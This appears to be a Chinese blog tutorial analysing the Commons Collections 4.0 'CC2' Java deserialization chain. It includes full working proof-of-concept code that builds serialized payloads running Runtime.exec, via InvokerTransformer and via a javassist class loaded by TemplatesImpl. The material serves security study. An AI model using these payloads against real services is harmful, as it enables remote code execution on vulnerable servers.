通俗易懂的Java Commons Collection 2分析 - 先知社区
Java反序列化之CC2
Java–cc2链反序列化漏洞&超级清晰详细 - Erichas - 博客园
Java反序列化-CC2分析 - 掘金
前言
距离上次学习CC1时间有点长了,最近事情太多了,但是java学习不能放下。
知识准备
如果搜索Commons-Collections
能注意到有两个,一个是cc
一个是cc 4.0
,而cc2是专门为cc 4.0
版本的链子。
CC2
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <dependencies> <! <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
<! <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
</dependencies>
|
这里相比于前面多了两个类:PriorityQueue
和TransformingComparator
PriorityQueue
一个是PriorityQueue
,它的作用是将元素按照优先级添加进入列,然后按照优先级高低依次出列,基本操作与queue
差不多。
throw Exception | 返回false或null | |
---|
添加元素到队尾 | add(E e) | boolean offer(E e) |
取队首元素并删除 | E remove() | E poll() |
取队首元素但不删除 | E element() | E peek() |
PriorityQueue
默认按元素比较的顺序排序(必须实现Comparable
接口),也可以通过Comparator
自定义排序算法(元素就不必实现Comparable
接口)。
这里使用这个类是为了使用它的readObject()
方法。
这里按照size大小将queue重新创建,通过readObject
读取objectAnnotation
填充元素。这个queue是一个瞬间属性。
然后进入heapify
方法。
然后就是siftDown
方法(堆方法)
根据comparator
的空不空分别进入不同方法。
这里调用的comparator.compare
方法。
它将一个转换器应用于集合中的对象,然后使用转换后的结果进行比较。这个比较器用于排序或维护已排序的集合,如有序集合(SortedSet)或优先队列。
我们查看其中的compare方法:
然后就调用transform方法即可。
也就是:
1 2 3 4
| PriorityQueue.readObject() TransformingComparator.compare() ChainedTransformer.transform() InvokerTransformer.transform()
|
Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package com.natro92;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CC2Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer[] test = new Transformer[]{};
ChainedTransformer chain = new ChainedTransformer(test);
PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain)); queue.add(1); queue.add(1);
Field field = chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain,transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2")); oos.writeObject(queue); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2")); ois.readObject();
} }
|
其中的add,是为了进行元素比较时,最少需要两个元素才能比较。
因为:
PS:我估计不止我一个不知道>>>在这里是什么意思。
for (int i = (size >>> 1) - 1; i >= 0; i–): 这是一个for循环,它的初始值是 (size >>> 1) - 1。这里的 size 可能是指堆中元素的数量,>>> 是无符号右移运算符,它将 size 右移一位。这样,(size >>> 1) 获得的是最后一个非叶子节点的索引加1(因为在完全二叉树中,所有非叶子节点的索引都小于 size / 2)。然后减1找到最后一个非叶子节点的确切索引,因为数组是从0开始的。循环的每一次迭代中,i 递减,这意味着此for循环是从堆(数组)中的最后一个非叶子节点向上遍历到根节点。
也就是说就等于size/2
然而我运行这段代码,弹了两个计算器,而不是一个…
运行了两次这里的transform
方法
使用TemplatesImpl
通过使用TemplatesImpl
可以不用到数组,利用之前分析得到的newtransformer
这里使用一个工具类来方便构造java字节码——javassist
依赖
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
|
这里的javassist构造恶意类的字节码,然后将其编译为class文件,最后用二进制码来存储。
javassist测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.natro92;
import javassist.ClassPool; import javassist.CtClass;
public class JavassistDemo { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(Hello.class.getName()); String cmd = "Runtime.getRuntime().exec(\"calc.exe\");"; ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setName("Hello"); ctClass.writeFile("testClass"); } }
|
而Hello类里面如下:
1 2 3 4
| package com.natro92;
public class Hello { }
|
运行这段代码,会在testClass这个文件夹下生成一个Hello.class然后反编译的内容如下:
然后使用ClassLoader类将字节码加载为内存形式的class对象。
ClassLoader解析字节码
比如编写测试代码:
1 2 3 4 5 6 7 8 9
| public class ClassLoaderTest extends ClassLoader{ public ClassLoaderTest (ClassLoader parent) { super(parent); }
public Class define(byte [] b) { return super.defineClass(b, 0, b.length); } }
|
然后再Demo中修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.natro92;
import javassist.ClassPool; import javassist.CtClass;
public class JavassistDemo { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(Hello.class.getName()); String cmd = "Runtime.getRuntime().exec(\"calc.exe\");"; ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setName("Hello"); ctClass.writeFile("testClass");
final byte[] bytes = ctClass.toBytecode(); ClassLoaderTest classLoader = new ClassLoaderTest(JavassistDemo.class.getClassLoader()); classLoader.define(bytes).newInstance(); } }
|
我们能发现成功由字节码生成了实例对象:
继续TemplatesImpl
这里有一个getTransletInstance
方法调用,Instance
就是实例化,进去。
这里的defineTransletClasses
时加载字节码并实例化中的重要部分,继续
这里第一个运用了自定义的ClassLoader:
1 2 3 4 5 6
| TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
|
进去可以看到继承的ClassLoader
满足要求
然后
1
| _class[i] = loader.defineClass(_bytecodes[i]);
|
使用loader
的defineClass
方法从_bytecodes
加载字节码,并放入_class
数组中,最后,当我们回到getTransletInstance
时,就会调用_class[_transletIndex].newInstance()
实例化字节码中的类。
几个细节
getTransletInstance
这里会对_name
判断是否为空,以及需要对使用的字节码类继承AbstractTranslet
原因如下:
From https://chenlvtang.top/2021/12/11/Java反序列化之CC2/
接下来就可以构造Poc了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class Test2 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); constructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "blckder02"); setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1}; Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,Tcomparator);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } }
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
|
最后
还是要多搞几次,这个只写一次只能仅仅理解皮毛,AbstractTranslet
那里理解的还是不太清楚。